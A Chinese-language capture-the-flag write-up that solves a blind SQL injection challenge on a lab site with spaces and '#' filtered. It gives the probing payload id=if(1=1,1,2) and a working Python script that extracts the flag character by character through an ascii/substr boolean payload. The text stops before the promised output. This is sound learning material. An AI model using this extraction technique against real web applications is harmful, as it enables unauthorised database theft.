题目链接
根据上图可知,页面中已经告诉我们要从flag表中的flag列取出flag,思考是sql注入。经过抓包发现发post包中的id字段是注入点。
经测试当输入id=1时,结果为Hello, glzjin wants a girlfriend.
,当id=2时,结果为Do you want to be my girlfriend?
。
通过SQL注入过滤关键字的Fuzz字典,发现过滤了空格、#等符号。
同时还发现是盲注,即当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果。
根据盲注的方法,尝试输入id=if(1=1,1,2)
得到返回了Hello, glzjin wants a girlfriend.
,如下图所示。
由此可以通过if函数来测试flag每一位的值,以下为编写的测试脚本。
import requests
import time
flag = ''
for i in range(1, 50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url = "http://eac65d5e-7894-4e1e-835e-3bd9eb2bd74e.node4.buuoj.cn:81/index.php"
sqls = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)".format(i, ord(j))
data = {"id": sqls}
c = requests.post(url=url, data=data, timeout=None)
if 'Hello' in c.text:
flag += j
print(flag)
break
time.sleep(0.05)
输出结果如下所示: